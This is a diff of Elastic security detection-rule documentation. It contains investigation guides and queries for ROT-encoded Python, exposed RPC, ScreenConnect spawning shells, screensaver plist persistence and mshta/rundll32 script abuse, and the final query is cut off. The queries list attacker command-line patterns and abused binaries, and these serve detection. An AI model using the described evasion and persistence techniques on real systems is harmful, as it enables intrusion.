Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ROT Encoded Python Script Execution* + + +ROT encoding, a simple letter substitution cipher, is often used to obfuscate Python scripts, making them harder to analyze. Adversaries exploit this by embedding ROT-encoded scripts within legitimate packages to evade detection. The detection rule identifies such activities by monitoring Python script executions and the presence of ROT-encoded compiled files, flagging potential misuse on Windows and macOS systems. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the specific Python process that triggered the alert and gather details such as the process start time and command line arguments. +- Examine the file path and name of the ROT-encoded compiled file (e.g., "rot_??.cpython-*.pyc") to determine its origin and whether it is part of a legitimate package or potentially malicious. +- Check the parent process of the Python script to understand how it was initiated and whether it was executed by a legitimate application or user. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Analyze any network connections or file modifications made by the Python process to identify potential data exfiltration or further malicious activity. +- Correlate this alert with other security events or logs from the same host to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Legitimate development activities may trigger the rule if developers use ROT encoding for testing or educational purposes. To manage this, create exceptions for known development environments or specific user accounts involved in such activities. +- Automated scripts or tools that use ROT encoding for legitimate data processing tasks can be flagged. Identify these scripts and whitelist their execution paths or associated process names to prevent false alerts. +- Some security tools or software may use ROT encoding as part of their normal operations. Review and document these tools, then configure the detection system to exclude their known file paths or process identifiers. +- Regularly scheduled tasks or cron jobs that involve ROT-encoded files for non-malicious purposes can cause false positives. Exclude these tasks by specifying their unique identifiers or execution schedules in the detection rule settings. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious activity. +- Terminate any running Python processes that are identified as executing ROT-encoded scripts to halt the execution of obfuscated code. +- Conduct a thorough review of the affected system to identify and remove any ROT-encoded Python files, specifically targeting files matching the pattern "rot_??.cpython-*.pyc*". +- Restore any affected systems from a known good backup to ensure the removal of any persistent threats. +- Implement application whitelisting to prevent unauthorized Python scripts from executing, focusing on blocking scripts with ROT encoding patterns. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Update detection mechanisms to monitor for similar ROT-encoded script activities, enhancing the ability to detect and respond to future threats. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type in ("windows", "macos") and event.type == "start" and process.name : "python*" and + not ( + process.args : ("*gcloud.py", "*conda-script.py", "*compileall.py", "*.lmstudio*") or + process.parent.args : ("*gcloud.py", "*conda-script.py", "*compileall.py", "*.lmstudio*") + )] + [file where host.os.type in ("windows", "macos") and + event.action != "deletion" and process.name : "python*" and file.name : "rot_??.cpython-*.pyc*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-from-the-internet.asciidoc new file mode 100644 index 0000000000..e8c5a56a29 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-from-the-internet.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-rpc-remote-procedure-call-from-the-internet]] +=== RPC (Remote Procedure Call) from the Internet + +This rule detects network events that may indicate the use of RPC traffic from the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) from the Internet* + + +RPC enables remote management and resource sharing, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic by monitoring TCP port 135 and filtering out internal IP addresses, flagging potential threats from external sources. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from a known malicious actor or if it has been flagged in previous incidents. +- Check the destination IP address to confirm it belongs to a critical internal system that should not be exposed to the Internet. +- Analyze network traffic logs to identify any unusual patterns or volumes of traffic associated with the source IP, focusing on TCP port 135. +- Investigate any related alerts or logs from the same source IP or destination IP to identify potential patterns or repeated attempts. +- Assess the potential impact on the affected system by determining if any unauthorized access or changes have occurred. +- Consult threat intelligence sources to gather additional context on the source IP or any related indicators of compromise. + + +*False positive analysis* + + +- Internal testing or development environments may generate RPC traffic that appears to originate from external sources. To manage this, add the IP addresses of these environments to the exception list in the detection rule. +- Legitimate remote management activities by trusted third-party vendors could trigger the rule. Verify the IP addresses of these vendors and include them in the exception list if they are known and authorized. +- Misconfigured network devices or proxies might route internal RPC traffic through external IP addresses. Review network configurations to ensure proper routing and add any necessary exceptions for known devices. +- Cloud-based services or applications that use RPC for legitimate purposes might be flagged. Identify these services and adjust the rule to exclude their IP ranges if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Conduct a thorough examination of the system logs and network traffic to identify any unauthorized access or data exfiltration attempts. +- Apply the latest security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Change all administrative and user credentials on the affected system and any other systems that may have been accessed using the same credentials. +- Implement network segmentation to limit the exposure of critical systems and services, ensuring that RPC services are not accessible from the Internet. +- Monitor the network for any signs of re-infection or further suspicious activity, focusing on traffic patterns similar to those identified in the initial alert. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:135 or event.dataset:zeek.dce_rpc) and + not (event.type: denied or event.action: flow_dropped or event.outcome: failure) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-to-the-internet.asciidoc new file mode 100644 index 0000000000..8f34cef7e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rpc-remote-procedure-call-to-the-internet.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-rpc-remote-procedure-call-to-the-internet]] +=== RPC (Remote Procedure Call) to the Internet + +This rule detects network events that may indicate the use of RPC traffic to the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) to the Internet* + + +RPC enables remote management and resource sharing across networks, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic from internal IPs to external networks, flagging potential exploitation attempts by monitoring specific ports and IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the RPC traffic. Check if this IP belongs to a known or authorized device within the network. +- Examine the destination IP address to determine if it is a known or suspicious external entity. Use threat intelligence sources to assess if the IP has been associated with malicious activity. +- Analyze the network traffic logs for the specific event.dataset values (network_traffic.flow or zeek.dce_rpc) to gather more context about the nature and volume of the RPC traffic. +- Investigate the destination port, specifically port 135, to confirm if the traffic is indeed RPC-related and assess if there are any legitimate reasons for this communication. +- Check for any recent changes or anomalies in the network configuration or system settings of the source IP that might explain the unexpected RPC traffic. +- Correlate this alert with other security events or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Internal testing environments may generate RPC traffic to external IPs for legitimate purposes. Identify and document these environments, then create exceptions in the detection rule to prevent unnecessary alerts. +- Cloud-based services or applications that require RPC communication for integration or management might trigger false positives. Review these services and whitelist their IP addresses if they are verified as non-threatening. +- VPN or remote access solutions that use RPC for secure connections can be mistaken for suspicious activity. Ensure that the IP ranges of these solutions are excluded from the rule to avoid false alerts. +- Automated backup or synchronization tools that use RPC to communicate with external servers could be flagged. Verify these tools and add their destination IPs to an exception list if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough analysis of the affected system to identify any unauthorized changes or installed backdoors, focusing on processes and services related to RPC. +- Revoke any compromised credentials and enforce a password reset for all accounts that may have been accessed or used during the incident. +- Apply necessary patches and updates to the affected system and any other systems with similar vulnerabilities to mitigate the risk of exploitation. +- Monitor network traffic for any signs of lateral movement or additional suspicious activity, particularly focusing on RPC-related traffic. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced logging and monitoring for RPC traffic to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:135 or event.dataset:zeek.dce_rpc) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screenconnect-server-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screenconnect-server-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..e3128c6d5b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screenconnect-server-spawning-suspicious-processes.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-screenconnect-server-spawning-suspicious-processes]] +=== ScreenConnect Server Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the ScreenConnect server process (ScreenConnect.Service.exe). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blackpointcyber.com/resources/blog/breaking-through-the-screen/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ScreenConnect Server Spawning Suspicious Processes* + + +ScreenConnect, a remote support tool, allows administrators to control systems remotely. Adversaries may exploit this by executing unauthorized commands or scripts, potentially using it as a backdoor. The detection rule identifies unusual child processes like command shells spawned by the ScreenConnect service, signaling possible exploitation or web shell activity, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to confirm the parent process is ScreenConnect.Service.exe and identify the suspicious child process name, such as cmd.exe or powershell.exe. +- Check the timestamp of the process start event to determine when the suspicious activity occurred and correlate it with any other unusual activities or alerts around the same time. +- Investigate the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Examine the command line arguments of the spawned process to identify any malicious or unauthorized commands being executed. +- Review network logs for any unusual outbound connections initiated by the ScreenConnect service or the suspicious child process, which may indicate data exfiltration or communication with a command and control server. +- Analyze the system for any additional indicators of compromise, such as unexpected file modifications or the presence of web shells, to assess the extent of the potential breach. + + +*False positive analysis* + + +- Legitimate administrative tasks using command shells or scripting tools like cmd.exe or powershell.exe may trigger the rule. To manage this, create exceptions for known administrative scripts or tasks that are regularly executed by trusted users. +- Automated maintenance scripts that utilize ScreenConnect for legitimate purposes can be mistaken for suspicious activity. Identify these scripts and whitelist their execution paths or specific process names to prevent false alerts. +- Software updates or installations that require command line execution through ScreenConnect might be flagged. Document these processes and exclude them from the rule by specifying the associated process names or hashes. +- Security tools or monitoring solutions that interact with ScreenConnect for legitimate scanning or logging purposes may inadvertently trigger the rule. Verify these tools and add them to an exception list based on their process identifiers or parent-child process relationships. +- Training or demonstration sessions using ScreenConnect to showcase command line features could be misinterpreted as threats. Schedule these sessions and temporarily adjust the rule sensitivity or disable it during the known timeframes to avoid false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being spawned by ScreenConnect.Service.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of recent ScreenConnect session logs to identify unauthorized access or unusual activity patterns, and revoke any compromised credentials. +- Scan the affected system for additional indicators of compromise, such as web shells or other malware, using endpoint detection and response tools. +- Apply security patches and updates to the ScreenConnect server and any other vulnerable applications to mitigate exploitation risks. +- Restore the system from a known good backup if evidence of compromise is confirmed, ensuring that the backup is free from malicious artifacts. +- Report the incident to the appropriate internal security team or external authorities if required, providing them with detailed findings and evidence for further investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "ScreenConnect.Service.exe" and + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "csc.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screensaver-plist-file-modified-by-unexpected-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screensaver-plist-file-modified-by-unexpected-process.asciidoc new file mode 100644 index 0000000000..0b1e093fab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-screensaver-plist-file-modified-by-unexpected-process.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-screensaver-plist-file-modified-by-unexpected-process]] +=== Screensaver Plist File Modified by Unexpected Process + +Identifies when a screensaver plist file is modified by an unexpected process. An adversary can maintain persistence on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to execute code each time the screensaver is activated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/saving-your-access-d562bf5bf90b +* https://github.com/D00MFist/PersistentJXA + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +- Analyze the plist file modification event to identify whether the change was expected or not +- Investigate the process that modified the plist file for malicious code or other suspicious behavior +- Identify if any suspicious or known malicious screensaver (.saver) files were recently written to or modified on the host + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.name like~ "com.apple.screensaver.*.plist" and + file.path like ( + "/Users/*/Library/Preferences/ByHost/*", + "/Library/Managed Preferences/*", + "/System/Library/Preferences/*" + ) and + ( + process.code_signature.trusted == false or + process.code_signature.exists == false or + + /* common script interpreters and abused native macOS bins */ + process.name like~ ( + "curl", + "mktemp", + "tail", + "funzip", + "python*", + "osascript", + "perl" + ) + ) and + + /* Filter OS processes modifying screensaver plist files */ + not process.executable like ( + "/usr/sbin/cfprefsd", + "/usr/libexec/xpcproxy", + "/System/Library/CoreServices/ManagedClient.app/Contents/Resources/MCXCompositor", + "/System/Library/CoreServices/ManagedClient.app/Contents/MacOS/ManagedClient" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Screensaver +** ID: T1546.002 +** Reference URL: https://attack.mitre.org/techniques/T1546/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-execution-via-microsoft-html-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-execution-via-microsoft-html-application.asciidoc new file mode 100644 index 0000000000..a89452bc46 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-execution-via-microsoft-html-application.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-script-execution-via-microsoft-html-application]] +=== Script Execution via Microsoft HTML Application + +Identifies the execution of scripts via HTML applications using Windows utilities rundll32.exe or mshta.exe. Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Elastic Endgame + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Script Execution via Microsoft HTML Application* + + +Microsoft HTML Applications (HTA) allow scripts to run in a trusted environment, often using utilities like `rundll32.exe` or `mshta.exe`. Adversaries exploit this by executing malicious scripts under the guise of legitimate processes, bypassing defenses. The detection rule identifies suspicious script execution patterns, such as unusual command lines or execution from common download locations, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the process command line details to identify any suspicious patterns or indicators of malicious activity, such as the presence of script execution commands like "eval", "GetObject", or "WScript.Shell". +- Check the parent process executable path to determine if the process was spawned by a known legitimate application or if it deviates from expected behavior, especially if it is not from the specified exceptions like Citrix, Microsoft Office, or Quokka.Works GTInstaller. +- Investigate the origin of the HTA file, particularly if it was executed from common download locations like the Downloads folder or temporary archive extraction paths, to assess if it was downloaded from the internet or extracted from an archive. +- Analyze the process arguments and count to identify any unusual or unexpected parameters that could indicate malicious intent, especially if the process name is "mshta.exe" and the command line does not include typical HTA or HTM file references. +- Correlate the event with other security logs and alerts from data sources like Sysmon, SentinelOne, or Microsoft Defender for Endpoint to gather additional context and determine if this activity is part of a broader attack pattern. + + +*False positive analysis* + + +- Execution of legitimate scripts by enterprise applications like Citrix, Microsoft Office, or Quokka.Works GTInstaller can trigger false positives. Users can mitigate this by adding these applications to the exclusion list in the detection rule. +- Scripts executed by mshta.exe that do not involve malicious intent, such as internal web applications or administrative scripts, may be flagged. Users should review these scripts and, if deemed safe, exclude them based on specific command line patterns or parent processes. +- HTA files downloaded from trusted internal sources or vendors might be mistakenly identified as threats. Users can create exceptions for these sources by specifying trusted download paths or file hashes. +- Temporary files created by legitimate software installations or updates in user temp directories can be misinterpreted as malicious. Users should monitor these activities and exclude known safe processes or directories from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the malicious script or unauthorized access. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `rundll32.exe` or `mshta.exe` with unusual command lines. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or scripts. +- Review and analyze the command lines and scripts executed to understand the scope and intent of the attack, and identify any additional compromised systems. +- Restore the affected system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement network segmentation to limit the ability of similar threats to propagate across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("rundll32.exe", "mshta.exe") and + ( + (process.command_line : + ( + "*script*eval(*", + "*script*GetObject*", + "*.regread(*", + "*WScript.Shell*", + "*.run(*", + "*).Exec()*", + "*mshta*http*", + "*mshtml*RunHTMLApplication*", + "*mshtml*,#135*", + "*StrReverse*", + "*.RegWrite*", + /* Issue #379 */ + "*window.close(*", + "* Chr(*" + ) + and not ?process.parent.executable : + ("?:\\Program Files (x86)\\Citrix\\System32\\wfshell.exe", + "?:\\Program Files (x86)\\Microsoft Office\\Office*\\MSACCESS.EXE", + "?:\\Program Files\\Quokka.Works GTInstaller\\GTInstaller.exe") + ) or + + (process.name : "mshta.exe" and + not process.command_line : ("*.hta*", "*.htm*", "-Embedding") and ?process.args_count 